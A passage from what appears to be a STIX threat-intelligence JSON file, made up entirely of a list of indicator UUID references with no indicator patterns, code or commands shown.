        "indicator--127a8b66-9278-4f34-9280-06acd32d0ba7",
        "indicator--674d9eb6-61a3-4c49-8f8e-a5289142555b",
        "indicator--dcd8339d-f4db-4040-86d5-26d12ca21f39",
        "indicator--c1eaccf7-9529-4975-b6dd-78162f45cf86",
        "indicator--ffab0acf-2f6a-4709-9e68-7fc0174baa51",
        "indicator--a4ee9a8e-81a1-4151-97ed-64edf665f2d5",
        "indicator--32fa893e-7cf3-4516-b502-21458069e698",
        "indicator--4ad46da8-90b5-40cd-aabf-c43c74eb3f14",
        "indicator--bc25c639-346b-4761-a418-9513fb4ca896",
        "indicator--dbfa0b54-3816-4c04-b420-da7537394cb6",
        "indicator--aa6d7d14-dbed-41f3-b5f6-dc8a3818e0b5",
        "indicator--9f973895-a9a6-451a-93b5-c84ff5ef3eec",
        "indicator--6de29c0e-304d-4f5e-b7ad-df6fcd9ac078",
        "indicator--87e98c9d-c0c9-4c2d-b872-59fbdc97a106",
        "indicator--957f2728-4aaa-4eb6-9355-d7180793c34a",
        "indicator--dacf9abd-94d6-4a42-a456-64ac49e6901c",
        "indicator--f5f98589-03bb-4a0e-892b-c987ada55341",
        "indicator--2d625f2e-35d8-4303-a9d4-820b68c0b794",
        "indicator--a6626f5d-aca3-406e-958e-8d07a6e06d87",
        "indicator--2f052c1d-fcb9-43ce-a86c-5a9dc65d958a",
        "indicator--cbc67404-e744-404b-aa62-ce19b895e6da",
        "indicator--9fc71a66-28ab-4e4f-815d-76ae5859b317",
        "indicator--894d9ac0-745a-41a2-8d5b-ef6b02cc6583",
        "indicator--e8a2b56d-2093-4695-a77c-fe8cc0461be1",
        "indicator--cb9a4bfd-02d3-4ea3-b891-0f4f10d3044e",
        "indicator--44b53a1b-163b-4b1c-991a-10ca473c2803",
        "indicator--98578bed-2d71-4f81-ab73-b90fff1840fa",
        "indicator--dc5a45a1-5f46-4e9c-82e3-fd7c4598cdc5",
        "indicator--55a82b96-6ee7-4e8f-8f89-89d4f563c57f",
        "indicator--59ef0ddf-4062-4472-9d96-e686cb3a1a60",
        "indicator--66193f7e-a616-40e7-9a60-473220ebe6fe",
        "indicator--6fbfd14a-ff80-498a-b28c-b38aa41c48f3",
        "indicator--157b6992-1b78-4653-9430-f88ca03c69c4",
        "indicator--26880c24-11c9-48cb-983d-08bf78918d8b",
        "indicator--f1cb25b4-6817-4d39-aab7-868ddb5fbcc3",
        "indicator--6f806bdb-9f9e-4f56-8e90-65d06dc0970f",
        "indicator--9c4d6661-f332-4412-ae56-80bfaef9bbd6",
        "indicator--1ad0478e-7872-4579-918c-df1c0bf32274",
        "indicator--ea72f9a6-c04e-4f09-bc86-155a20358c1b",
        "indicator--ee5e3444-250e-44f8-81ae-48cf3ffcfdeb",
        "indicator--20d48765-6346-417a-8247-a97cbc8ddbd8",
        "indicator--4963ffb4-5cf6-47da-b7a2-601981cf2aed",
        "indicator--3d724366-9a80-4355-8499-0575b74ac06f",
        "indicator--28dc6b18-bbd7-4090-aa35-4bd7e4426386",
        "indicator--60274831-56ed-48c3-92f4-cdce6280540e",
        "indicator--6478d7cb-6927-41c9-bd44-5072052c3ddb",
        "indicator--df4aaf7f-c60d-4670-80d1-9a73078d24f2",
        "indicator--6071c8f9-e504-4fe0-8eea-41fc7ba7057c",
        "indicator--c45517c9-5fb0-4414-9b58-45ede32957c6",
        "indicator--000e95c7-2968-41b2-99fa-cd5a5335b995",
        "indicator--610f9b02-c102-42db-9bdf-7418dd92da1f",
        "indicator--d88ad00a-6cdb-4a34-9293-9d1cb476a0a1",
        "indicator--619778b5-9056-4577-8b86-515fa304fdd4",
        "indicator--c1630f01-c377-49db-aa2d-e4d005becc6b",
        "indicator--4c05c105-265c-4295-b3fb-259c404586b7",
        "indicator--18b7e74d-fa86-42b7-8d7c-e17eb736ad3b",
        "indicator--7b8de1bb-b42a-4e94-9f10-9c2b0088c215",
        "indicator--3f876cab-51b4-4990-88a8-045ea93c4fcc",
        "indicator--ba953fc9-9582-47c1-a582-ac48be36a57f",
        "indicator--ed4e96d3-97f2-405a-82b7-f1ca62b70f79",
        "indicator--405a2763-cb4d-4354-abb0-7a5f3d92a87a",
        "indicator--73083183-9baa-41bb-9294-e2417f5f2402",
        "indicator--abf9311b-c334-40a6-80f4-19f27917b1f3",
        "indicator--80e2b343-d8aa-4a47-9f5c-4ac7c2f38b92",
        "indicator--7500b9e6-72bf-4d11-abd3-2f6ba328a0fc",
        "indicator--af701a0f-254f-4376-84b4-0f51108536fe",
        "indicator--33420566-4372-436f-9b89-713166c918fe",
        "indicator--2a052cc5-1fcc-4203-9fcf-a72cb7eb7e56",
        "indicator--29345f21-d527-4aca-bcbc-ff797a4f7ae7",
        "indicator--9a95214b-6dc6-49fb-a4e7-80a6c5075e04",
        "indicator--5c181150-c146-4118-a9f8-0cf634d1bc7e",
        "indicator--1ec0c3f1-85f5-4e25-b678-0c8e1fa45645",
        "indicator--03ac85c4-4f1c-4cff-883c-0a8bae042845",
        "indicator--65c65ea1-94b1-4f56-8d8d-ce6671433d87",
        "indicator--95d34afa-b48e-4171-aa68-831105112ddb",
        "indicator--086913c6-c533-4e00-8cff-80e7b46c4735",
        "indicator--676c3ba4-c867-4e01-853f-2cbf293c30e2",
        "indicator--40785e94-f2e3-478d-9187-bb59802dc11e",
        "indicator--0b598052-534e-46ef-b171-15ee1776cf34",
        "indicator--5aeec3bc-29ac-49f4-a459-07f451971486",
        "indicator--89909adf-2564-4c5e-8641-330dd39b80a4",
        "indicator--282bc2ae-3ef6-469b-b635-b28a4fae8d12",
        "indicator--dcab1906-c2e8-4962-9be8-8336373d3e58",
        "indicator--60c3ea2e-646b-41fc-a233-6f44bab14f36",
        "indicator--f4945808-c342-4b04-9df8-e212b01c5f3d",
        "indicator--448a521a-2b6a-400b-bdd6-5bc11593ba7a",
        "indicator--1cbbeca2-2759-42ce-b168-36e4192f6378",
        "indicator--94b163fd-bba9-490e-a1fe-cc4a1342fd64",
        "indicator--2531ebb6-5779-4ae3-b16e-f69a87d0f28b",
        "indicator--bfd53f3c-4489-498d-a19a-47febfd08f50",
        "indicator--ece9cc9a-82da-44a7-b4f2-3828b7628597",
        "indicator--8c63383b-fce5-4b23-8b39-ddd074db6c4b",
        "indicator--39cb7bdc-d8b5-454a-8e9a-5a545656b3e7",
        "indicator--2141fba3-dc20-4de2-9f76-db056369e9c8",
        "indicator--cfbd1f63-c5c0-4749-a65b-f7d73ce6300b",
        "indicator--63e60388-e73a-4f88-8097-f6f64f250734",
        "indicator--4d48b534-bf22-4df5-94f6-5ee19dc9690f",
        "indicator--b2f052c0-e95f-4ac3-8ef3-a0cf54d00a7d",
        "indicator--42696b43-10c6-4757-8c30-e1e9b7178aa7",
        "indicator--cd4db4c5-cded-4c33-9eb6-b7dfa2674841",
        "indicator--cdc3ac71-adb2-4ba9-a54c-cd8ee1a9a227",
        "indicator--b6a796bc-6232-4c50-8406-7de16fa3490d",
        "indicator--b55aa843-0dbe-4e4d-a831-503c821d6385",
        "indicator--5c8195ec-d6d7-4a9d-a332-5e3a16fcb24f",
        "indicator--cad27ac9-36ec-4d73-9232-69498b23447c",
        "indicator--1f0f2f4d-01bd-43c9-ace0-e4471f20c55c",
        "indicator--4366dcb9-981b-4326-a5fa-4cd794bb816d",
        "indicator--ca3616e8-353e-421b-a589-4c599b5b0bc5",
        "indicator--a45d4748-a882-4bb5-9f8f-54a60eb27596",
        "indicator--df479334-1b4b-4bbb-be8a-1ede47aba674",
        "indicator--be909ad2-0db8-48cb-bce7-ed08c9f600ee",
        "indicator--1b0705c2-8834-48e6-b13c-05abd31828ac",
        "indicator--896bfe3f-ee27-4cc7-a4c5-79666fe6ce24",
        "indicator--bd10e555-30b2-4163-99b8-6bc3dc10118c",
        "indicator--2821f044-5723-4748-b18f-875fdafafc93",
        "indicator--073b4c45-1540-43f4-9c97-35e931b07d8b",
        "indicator--6dfb9b30-514b-4654-aa47-aec048d55319",
        "indicator--8e39402a-faf9-4d3e-b8a5-769f0cad37f0",
        "indicator--225ef7a9-c5da-4dfd-8eb1-14b60b52ac2d",
        "indicator--c3f2fc25-a8df-482f-9ff8-45d3a179a452",
        "indicator--aa2b8dfa-6997-4eda-980f-342f669df2cb",
        "indicator--a9fe17b7-acab-44cc-aade-e3333e52fc8c",
        "indicator--97b48046-00a2-4d94-b4b1-c8f2799821f6",
        "indicator--4404103c-3c8e-4787-a4d2-65b8215afe8f",
        "indicator--75cad593-ed92-485b-bdc7-dbdd1bdc04ee",
        "indicator--5bc19437-fc0c-4638-8daf-f627c51692da",
        "indicator--b4b97ee2-a347-40a3-8ade-1cb8a49adb89",
        "indicator--860ea4f2-7942-4f06-bd11-26fd88a57cc5",
        "indicator--843b24f7-09fa-42e7-90cd-fe14a941cde9",
        "indicator--97374ec5-1b90-40b0-bbe1-73e6ab3c64eb",
        "indicator--b5dbe0c1-953d-426b-a627-889dd4c926bf",
        "indicator--2267e2bc-ce78-488f-91e1-bf312c529e86",
        "indicator--314feb08-d55b-4983-abf2-99ced2d04cdc",
        "indicator--663ea8f6-97a6-46f9-a750-ad828291c38f",
        "indicator--48991fed-b356-4ebe-a0c7-d97cc45cf5bf",
        "indicator--962b95e2-b6d9-4d35-aa8a-ef943ed49225",
        "indicator--afc6168b-8ae4-44ac-b901-a4fd1600c63a",
        "indicator--575375d3-64d6-42fa-97fe-9c9ca7a7a676",
        "indicator--e40e258b-df5a-4f1a-a141-6f7858ff54c9",
        "indicator--f97c3dc7-3f4c-4747-a0e9-6d277813151c",
        "indicator--7ed8fec5-ab57-46e3-acbf-489d1d72c365",
        "indicator--d9922722-4996-41fb-9f0e-62e8591bd826",
        "indicator--88894bfb-65be-450a-8f98-eaf2d8600b66",
        "indicator--8901dd71-964d-412f-a169-9460236d4c78",
        "indicator--a2898325-021d-466e-9d98-3ea6053b08db",
        "indicator--740c3324-1967-4e5c-8bbe-147d226a25b2",
        "indicator--45de04fb-aa64-4a97-a08c-e1bd821fd0d5",
        "indicator--fe5c94ba-298f-47f9-8b58-a3c7c7cac33a",
        "indicator--48b935c0-d100-4691-87a8-bd950e89de10",
        "indicator--99817142-6918-4f5b-8e6f-5c4543253cdf",
        "indicator--50750ada-d7ca-4946-bf4c-364bd044c212",
        "indicator--f3247501-826a-49c0-8039-8dbc0ab3de5f",
        "indicator--0bf2163b-b7df-4d6f-bcf9-27fe750c73a7",
        "indicator--e777590d-5573-4d3f-8302-1d400280c4d5",
        "indicator--ba6aac6c-c81b-434d-99e5-7e633edb7613",
        "indicator--f58cdf54-4ce4-47cd-a387-18af0c3ab426",
        "indicator--a6c323fc-3fd7-4a3d-9c54-34fc2fe94187",
        "indicator--382560c1-3bdf-4986-8868-888f56249c7d",
        "indicator--9da32abe-5319-4ca7-babf-051e49c2bf84",
        "indicator--19d66d14-7f3c-44e1-8fa3-37da3dc4c3f6",
        "indicator--78736466-e6e1-4682-b68c-d5ca3fff7393",
        "indicator--55ed863c-9a36-4036-b2e5-bf17d2a23525",
        "indicator--8b7b41d3-677b-4107-a19b-17d302cb8f03",
        "indicator--b21e8fbb-b4c2-4be1-aaa6-ea5c8678c284",
        "indicator--8cb90e9a-45d5-48c0-89be-1766a0997379",
        "indicator--1d9a752b-f938-4108-9367-cbbb191c3949",
        "indicator--af5cb32a-e317-4465-a9b2-532ec946016d",
        "indicator--4e45e863-3103-4b73-a389-5285c815200d",
        "indicator--0e92204e-72b5-4ffc-9f10-383dad3d1ebb",
        "indicator--ef42780c-4394-4922-aa7d-ef8ec303705d",
        "indicator--7caa6219-ec0c-45c2-bf7f-c898a96549e6",
        "indicator--868183cb-9d10-4cbb-8588-ef3042565805",
        "indicator--649fb978-323c-47d0-baa0-655d28d30ab4",
        "indicator--28f89a09-8d80-4ff4-b43f-e30eb2e18b2e",
        "indicator--7425b005-43e3-4bc6-99be-780242fb1482",
        "indicator--63864537-c3db-4196-abf8-427e4518fd6e",
        "indicator--5f1691d1-b5b4-4078-ade0-bfefafd4c4b8",
        "indicator--3ea34e86-07db-4a0a-842c-9e523c0449c8",
        "indicator--c19b8a7b-39b6-448c-a961-0c8945ae0065",
        "indicator--c88f18b2-9e9c-4e9c-bfca-1ecd4f5d5fd6",
        "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
        "indicator--bd6dbd62-c579-4152-9b6c-777537bdd39b",
        "indicator--39ec8d04-a812-4cd8-b884-449a08829322",
        "indicator--3642bddd-cecd-4a4b-9060-4963481d8aea",
        "indicator--2ac32364-923f-4896-8ad9-060f87b7e62a",
        "indicator--6fdaf4d8-41e7-445a-82f0-a66c516a4575",
        "indicator--e2de35cf-efea-4632-915c-e91e40267a01",
        "indicator--ca6d3504-315d-4e87-905a-c91a235c0d32",
        "indicator--b3eec0f1-45bf-41ce-aba1-62e0b57509bc",
        "indicator--7c5ce1ed-a4f6-4ab2-b5c1-d9419e936958",
        "indicator--50546919-1f75-4299-a006-95cad5e25193",
        "indicator--3644e423-b142-4fc9-b1df-a118d2b03bed",
        "indicator--3a357074-cc18-412a-8d55-9bdff931a0a9",
        "indicator--b339805a-70c6-4f51-9945-8123914770d2",
        "indicator--be04d494-c840-4640-b417-c4db23e1250a",
        "indicator--9ab87dfa-6543-4baa-a294-c92e45c40d24",
        "indicator--02909835-b602-48ac-bd39-12f933d73225",
        "indicator--3532791c-d954-4665-b9d3-07714c5b92af",
        "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
        "indicator--c8bf100c-5459-47ae-a725-874f10e83309",
        "indicator--cb2d886f-0623-4a61-b638-7e77c254cb7e",
        "indicator--90c1fb44-1fb5-4493-9ea8-5e72e7529f70",
        "indicator--a5c5fd95-0797-45a0-bb83-78aed81aabc5",
        "indicator--50e4ade6-0aeb-4740-927c-e41147cbd113",
        "indicator--53b55e9f-1464-475a-8e48-5b6a9db7dee3",
        "indicator--cbb9d902-bd1b-4830-a7c8-c32df1e66064",
        "indicator--83569610-841f-467b-8cd0-939b46f0da60",
        "indicator--1fe0367b-21c8-48be-85fe-dd625ea96db4",
        "indicator--3cecddf3-ea1c-4da7-9d68-2131b5c95804",
        "indicator--1930e89a-96c0-4f0b-8331-9504a139829a",
        "indicator--250160d4-faef-4f5d-9ff7-12d74bf20ff2",
        "indicator--d3449c6e-6521-417c-be18-b4756228b4bc",
        "indicator--9c0e09b5-f395-45d8-a816-4fae86aaf639",
        "indicator--526fae89-04a0-4e66-9f66-c6dcda641131",
        "indicator--cd4e66f6-3a9b-44c3-86f7-3cb0ba003fdb",
        "indicator--03307ba6-4a7c-4f96-87bf-f0efd2d34d9f",
        "indicator--3f78ef7c-ca80-4e46-90f2-f5a606a629a2",
        "indicator--47c6b2ca-4239-40ba-961b-879ee99a483b",
        "indicator--27830df3-8e52-416e-8a76-1c80c1f66ea4",
        "indicator--487561a0-51b0-4a24-b858-b430b0c4a2d7",
        "indicator--ee177c33-da3b-49a0-91c5-2a47a2144064",
        "indicator--f27a68df-62bd-46fa-ab35-5529d55be791",
        "indicator--6c87c1b9-db84-45c5-888a-65664dd4cf31",
        "indicator--ca417df2-ea12-42d1-ad27-658cebd7ff28",
        "indicator--421b2536-ac05-4abb-b7a4-93c1cbe45cbc",
        "indicator--a69845c7-da9a-47e7-bcb8-a52da258655d",
        "indicator--27efdc81-3401-48e1-9c8c-07dbb642871d",
        "indicator--07c6063f-ac43-4365-a1fb-75ff5fb04d20",
        "indicator--3e6957cc-512d-459c-8d2f-0e5933e3831f",
        "indicator--7e9cfca1-b711-4790-bac3-3b7e6acdc3e1",
        "indicator--28c4138d-e9d0-4336-9cc0-53771a8859d8",
        "indicator--4e59d42c-1cb5-4f3f-a18e-e40ebe92f83c",
        "indicator--c2167c7c-9898-4810-8b1a-e21d03cdc74a",
        "indicator--66dd9939-7f17-47ff-83fc-47ff9b0c2431",
        "indicator--b7e7b216-b907-4b6d-81f8-7f1b6a23db73",
        "indicator--9fb28992-f217-4a7d-a341-805956f29e42",
        "indicator--083bf3f0-7ad9-47e7-b688-fee86123dd49",
        "indicator--477c079c-f26e-46a4-92e2-59962153c79f",
        "indicator--5ea2af10-9b21-463e-9595-dc0804ecfd30",
        "indicator--457a433f-67f0-45f9-a43d-9388be29b223",
        "indicator--8a7181aa-a1f5-4534-8368-9d3d9e6a9d3e",
        "indicator--6052b718-4eb0-4ae0-969b-3310bfb30b53",
        "indicator--cc1201b0-647c-4966-a7e7-affc3faa6cd9",
        "indicator--434de9d7-30c0-4abd-ba90-f527d5b18a50",
        "indicator--c41aaa75-c950-47f2-8f19-adb7730e745d",
        "indicator--becfd0cc-d515-4e82-9b3a-105897c94c03",
        "indicator--d3ede2c9-2d08-44ed-8e51-5de6a05c19e4",
        "indicator--1fcbbbee-ae17-48a4-b9da-3201b831775c",
        "indicator--e89e0667-ff8f-472a-a4a6-adfc9c0ba6a4",
        "indicator--eae31522-506c-4f3f-85dd-9948d9c9b1f4",
        "indicator--9340d7b6-6eb0-49c2-93f1-2477975eb5e3",
        "indicator--0e4556eb-a99c-4adc-9b2e-da3abc353c83",
        "indicator--08c5a9b5-6eba-4739-a05a-a9a23f70e891",
        "indicator--67051bd7-f572-42b9-8581-892c731b5314",
        "indicator--3e772879-9a90-4c48-bbcb-0004dee5244e",
        "indicator--dcab176f-ca3b-4023-a496-6f8a0acc2687",
        "indicator--188d0b2e-3dfe-45dd-8b62-d9d937720bc4",
        "indicator--ec41a008-fefb-45b6-b48b-63d22ebf6f57",
        "indicator--bddde00b-19f9-48c4-9927-97ad7b5b89c4",
        "indicator--7c76500f-7f96-4746-a233-84a642a8df2a",
        "indicator--814c786e-f719-4ff8-bb13-1351f4b24291",
        "indicator--c946c4ee-588b-443a-b872-2fbde62e69d8",
        "indicator--001f3138-e708-4563-a656-1a5867c29331",
        "indicator--d03cf6ae-9476-4a51-8ea1-adb0ed80ee99",
        "indicator--25601fca-1136-42bf-b873-7ebeff221940",
        "indicator--1fc1b23f-9a18-4069-bde1-5e7698ab654f",
        "indicator--fee8e5fe-f22b-4ee5-b2b4-aa97292e067a",
        "indicator--8c16990d-b4fc-40c7-9b85-786dd448447f",
        "indicator--074672b0-cda8-4d7c-8fca-ac157a30d8b1",
        "indicator--1a34d6a5-a9ee-400b-bc38-65a22ffa32b1",
        "indicator--a0d93a97-22c2-4042-a135-7a9d57460e6c",
        "indicator--1c387cd7-bf20-4342-927e-14a2fabaee7b",
        "indicator--386f1f1e-5ff3-4d44-86a0-2be9f74dcd98",
        "indicator--cc4fdc57-99a9-4f10-9c7b-bf3a0de3ed64",
        "indicator--f01bc02c-f325-4ca2-803f-e7c56d9deb0f",
        "indicator--62cf7850-c7ba-4e05-9766-c4d64ed70062",
        "indicator--58119d52-0069-4de7-83ca-984a62da8071",
        "indicator--06efcd40-a0bb-4737-afe0-cfc05257a132",
        "indicator--b61421d6-f4e0-4b73-809b-3fbc7d917b30",
        "indicator--b3cf7f75-6cbc-4e58-9b73-b6a11e3c284a",
        "indicator--9a8eab89-0dee-4b92-b643-6f169fc3868b",
        "indicator--82ddc6cb-1923-42c8-a3ba-b249de538236",
        "indicator--c8aa3fa5-1262-4251-97bd-92274494b497",
        "indicator--de9a9efd-0df7-43fc-b99e-949f62981cf6",
        "indicator--6d8379d8-b637-4bb6-ae67-9b23323caa1a",
        "indicator--660abff8-6978-4ec1-b752-6bb2e21f2b97",
        "indicator--268be8dd-1990-49d3-9af1-b1ef82b1553b",
        "indicator--99eb4fb6-e765-4196-a72b-ae4468578911",
        "indicator--3af5baa2-fa37-44ff-b8c8-dd3292b99c2a",
        "indicator--db618bbe-f0f6-4b6e-bd91-b7265fde45d3",
        "indicator--b0045276-31f1-477d-86c3-c602413ce700",
        "indicator--89d83c5a-63dd-4f8d-b484-f716e15f7f7d",
        "indicator--e26249d7-e3fd-4ccd-8ef8-28387b45c1cf",
        "indicator--60d7378c-8f46-4ee7-b32a-f7500ed438f5",
        "indicator--56b4db33-e94b-4a3f-9f4e-63926c52bd60",
        "indicator--579ecc5b-3c5a-4ac3-bc69-32c3bb2c7ecd",
        "indicator--4217edf5-0e71-472f-ae49-1570706e3904",
        "indicator--471c1fff-a712-4824-8788-ff6d006b7714",
        "indicator--532ad249-73bc-434f-9d87-99ec26cdf5a6",
        "indicator--dbf5f374-6f63-45ee-97ab-12c52d9e3226",
        "indicator--a131ee25-5f8e-405a-89c3-209766125366",
        "indicator--8873fe24-45b9-4dad-ad44-23909b4699e4",
        "indicator--b9aa13b2-5832-4a00-9fdb-83867796683f",
        "indicator--30129733-ace5-4022-9059-a9fb47ac042e",
        "indicator--330ffe34-f3fd-4849-8741-fbdb2c7a411a",
        "indicator--7deb9f55-493d-486e-8448-2dd7bdbcf268",
        "indicator--97f1f511-a977-47e1-bc80-ffaad7130023",
        "indicator--1666b1d7-c794-4977-b2c7-1600a8136d18",
        "indicator--189d1c4d-f318-4f10-acb9-57436ae8dc9d",
        "indicator--b1736984-db77-4eee-aacf-cf392fe1b0d7",
        "indicator--ff348bdd-43c0-4e6e-b651-04fa56579429",
        "indicator--3caa2fe4-3ef8-471e-ae7e-dca0d6b71d91",
        "indicator--00fbc849-9ee1-4d51-b574-cf9f2785a7e9",
        "indicator--1d884fa9-1a08-4ab2-a7b4-895506d2301a",
        "indicator--9ad781bd-8fde-443c-8c42-039252551fec",
        "indicator--c066d76f-c5e3-4b76-b055-aba232586c06",
        "indicator--8a3b3224-a0a1-4b56-a9ae-9c7dbb2d9d32",
        "indicator--dea0d86c-2a3e-429b-8638-5826204b9578",
        "indicator--22025b80-7c63-4312-8cd4-31ab87d121ae",
        "indicator--661b1bde-c30c-48da-8bcc-0536e780cdb2",
        "indicator--b5700129-9d3d-4f99-a05d-748c14a76a33",
        "indicator--738fc968-f324-4bd8-ad2e-3a3c4b2aa91d",
        "indicator--7a525d91-8cc9-4237-9818-4dd4c2e1adf5",
        "indicator--bd9da70d-d643-4c24-9d22-09143b2e8363",
        "indicator--773fbe34-4f56-4d86-bf73-6413fbd40c1b",
        "indicator--8696d9bd-36e5-49a8-b4bb-a9fbd4e8eec8",
        "indicator--69d36652-c5da-470f-a9f0-1a4c4541fe35",
        "indicator--ac5ae49b-9b54-4809-be38-225e1428635d",
        "indicator--dac72868-4548-46e6-bd59-d784e504179f",
        "indicator--3825a999-893c-4e2b-9932-45c0c8d11989",
        "indicator--ae2cf2fc-d7e2-4418-97d2-3c8bc85d2871",
        "indicator--ef523a8b-cdac-418d-91da-072836d469f6",
        "indicator--7cbe5c94-77b4-4c27-b750-84af1cca3268",
        "indicator--d20c4cd2-b8bf-41cc-9053-496d4b096e89",
        "indicator--f7b9b1f8-ce9c-47f8-b6b6-3ab9b7ebdff9",
        "indicator--68686c1e-6e87-42c4-8d92-f76497ecea5b",
        "indicator--9e23c384-91bd-4e0a-ad38-422094f391a7",
        "indicator--4a4fecee-1117-404c-b1b6-59f100c2318c",
        "indicator--0749bd06-38b1-4de9-873e-6e709a539b29",
        "indicator--e1e9f228-0c75-47a2-b774-e53e240ce47a",
        "indicator--5f2dc0e7-6135-40f8-920c-f3768f371309",
        "indicator--07786f29-5ca6-4cba-835c-841736c9cb2c",
        "indicator--f0c026dc-40e4-4c96-941e-7e947e053a8b",
        "indicator--652e1122-94d0-4dc3-b659-19c25c1019f6",
        "indicator--39754df4-f996-4c9a-aa17-3d294c34edab",
        "indicator--4db4011e-b509-4a9f-838c-1804fb0f098e",
        "indicator--8a0a90aa-bb4a-445b-b901-ad940617ad62",
        "indicator--0a361bb6-fac8-40b8-b510-7af9d600f752",
        "indicator--1799d566-b993-4e77-882f-9704cfe3b5b8",
        "indicator--2b5172b7-c186-42b2-8cc0-db59a941e4c0",
        "indicator--805ffa16-74eb-41d2-9dc5-b5ad1b8ac8c0",
        "indicator--dfa5d157-107e-4347-baa3-ec22a4cee5bf",
        "indicator--6ace9905-edae-43a8-b22b-859afe74976f",
        "indicator--c71f8b91-0144-4c85-8316-30a09e68b054",
        "indicator--824620d0-bb01-4dc0-900a-22386e3b9151",
        "indicator--4bb5462c-0dea-4713-b9fe-ba948e55065f",
        "indicator--060f2b12-93be-4897-aa1e-6de8c583eaaf",
        "indicator--9ce1c79f-74b7-443c-b55e-9aa920d27d25",
        "indicator--94bcf719-da04-47e3-b7de-d955d006285f",
        "indicator--b342f7cd-1623-4e8b-8241-382c6caa3321",
        "indicator--54f83e4e-929b-41e0-86ed-0537b447f2f7",
        "indicator--60e9bfa3-19a2-4104-83c3-66bdb6a525aa",
        "indicator--75d93b00-d168-4b3a-bd0f-1b5af52dfe39",
        "indicator--c2cef0dc-0522-413e-abbb-340883386231",
        "indicator--7e43b5a5-2a97-4824-885e-6b4c44924fa1",
        "indicator--09eab733-8b62-405b-ae1d-ada9973af902",
        "indicator--a436aabe-d7a0-45b8-b67a-5ff990a6f4c7",
        "indicator--d5e731af-3783-46a4-84b6-bc9efe0883d5",
        "indicator--7806f036-4e76-4c88-a222-447d3f878192",
        "indicator--01c95e71-a74b-4226-b544-14a26f92348b",
        "indicator--b47576af-4f3b-42a8-b2cf-5b6b1b109ce5",
        "indicator--141df49a-f970-4d2f-a47c-09d609361f29",
        "indicator--8317575a-e555-420d-96f3-664e6149a999",
        "indicator--480be167-cf0b-4296-85d8-0e10c37cc4fa",
        "indicator--61613441-6c64-41da-a193-095bcbe899a5",
        "indicator--9fa602a4-b4fc-4457-a77e-36e4ef27869e",
        "indicator--d5bb048a-2a9e-4432-895c-a2382f4c32bb",
        "indicator--229363bf-afdc-4491-bf9a-70fa5aa58843",
        "indicator--40706dac-637f-4f97-b795-8114efbdb55a",
        "indicator--59f851e6-1ec5-4b5b-8e05-bb95d2fa4fe8",
        "indicator--805b1056-31ca-40eb-a7e8-2d69137ebc2d",
        "indicator--4118d8ab-060d-4bfb-9b68-de26e72b0328",
        "indicator--21421724-20b2-4be1-b699-e639c7c207c0",
        "indicator--70a0b7f5-3cdb-48f6-8882-deb40084007b",
        "indicator--13cd59b9-5aae-472f-9ba4-3e85367902ea",
        "indicator--6506919c-c2a2-4f96-8da7-61ee962f7364",
        "indicator--3d807f01-b3b2-4a9b-9b1d-798e1421f128",
        "indicator--516bafd6-55dd-43d5-92e3-7641a0c388d7",
        "indicator--49ad4a66-c4e9-42a0-ad4a-b43fc2177d61",
        "indicator--ccce8f21-7178-4824-b2af-4a9fa892bd82",
        "indicator--7c17da86-8e4c-4d0b-b5c8-6ca0ff4d8727",
        "indicator--1da15243-924b-4888-9be2-09f641feeb01",
        "indicator--33eb3052-6d44-4539-afc3-99059636c780",
        "indicator--4f9f57b8-243f-4e0d-b0a1-8ff7de991e6d",
        "indicator--2dfb93ad-f0fe-4b7b-95db-b43197cf43b9",
        "indicator--b07e3f31-0a8f-4fee-a5d2-f4979754aafc",
        "indicator--a7a90a1e-9765-44b2-8c6c-5648cd231258",
        "indicator--551547a9-dc8a-4ebe-8b19-dae5f0e58750",
        "indicator--5f220404-1fe4-44dc-bb2a-c0d4148ea4cf",
        "indicator--0250c6e8-024a-4073-84e1-6d6bf7a6cf61",
        "indicator--fb48180f-df5e-4ede-a5f4-433d34c51ff9",
        "indicator--12595dde-42e5-4206-9a04-b09cb82bc2dd",
        "indicator--f5bfc502-aee9-46f7-938f-e32401242a4c",
        "indicator--1bf82447-e54d-469c-a4b4-b9a86edbf23c",
        "indicator--037b9ac2-7ae9-45b9-bf80-e3059fe77f01",
        "indicator--63911bf7-e637-4f5f-8e3c-f4eac089d81c",
        "indicator--f3823670-cc3b-4d19-9614-269b8791dedb",
        "indicator--cd30df89-0dab-404f-a4c8-e4c577547afc",
        "indicator--16331645-14aa-49f6-84d2-75c359cf7f5a",
        "indicator--ee9b4883-77c9-4a95-bddb-de97330f1233",
        "indicator--bd5b85fd-04ad-4a08-b3ae-e5c304326d4f",
        "indicator--33625454-b167-4f50-8c05-ebd7f3013f1e",
        "indicator--9b21f2df-2ab6-4915-bcd6-0141080dc154",
        "indicator--eceb3d08-ce05-467e-93c4-aac1a4fada6e",
        "indicator--7248a978-78e2-4be5-8e84-a202f51fabd9",
        "indicator--09d35e94-d8c9-48b3-b2bd-baf333307838",
        "indicator--37a77036-291a-477e-ab9b-c14985d24112",
        "indicator--8aa033db-e9ca-49bb-b47b-c018a8d3a525",
        "indicator--d882f3b9-d1ec-4247-a4a4-3159fbe8022c",
        "indicator--3cc9b239-41e0-43ef-81a4-604c02ccc432",
        "indicator--815ddd08-96a0-465e-b86e-67ecbdb61b2b",
        "indicator--59f5ded9-1c63-49e1-bef9-08f92bf36e46",
        "indicator--67f99a68-8e21-4e50-a206-925f021d2837",
        "indicator--7fcb1c85-8616-441c-bfae-7a9f9b9ca372",
        "indicator--9ce25cc8-7fde-4373-a357-9af6ec9cab41",
        "indicator--b7ce26dc-bb16-4deb-b80f-8e07ba485182",
        "indicator--836bb566-c3c7-4651-bd3d-189e7c9dc8fe",
        "indicator--bec14423-8cae-4493-ad6d-69ad6a66757f",
        "indicator--c45ff121-a8a8-4609-bbcc-c942cb5f239a",
        "indicator--b7678d27-dee4-4dbd-a8a0-a9faeb52fc69",
        "indicator--2a444070-8c77-403f-8a16-a6eb0c3e229c",
        "indicator--118e7678-873a-497f-8e9e-770100bebc4e",
        "indicator--34141c94-fdd1-471c-be25-f4957ebc91fb",
        "indicator--08a9a4c8-fc95-4b6a-b879-eb36426dc2c2",
        "indicator--23aaf5d4-a4ab-4742-897c-37a46969874d",
        "indicator--7c2549ee-514c-4ffc-92de-b93c9b1ea354",
        "indicator--dee037b3-27d6-486c-bffa-50ac077baa07",
        "indicator--5faaa4b5-497a-49cd-9447-a4bb9d38edba",
        "indicator--f03a3a12-ec8f-447e-bf10-4c9948e7b852",
        "indicator--6d8d5b04-3de2-43be-bcc3-1e01b3d045e0",
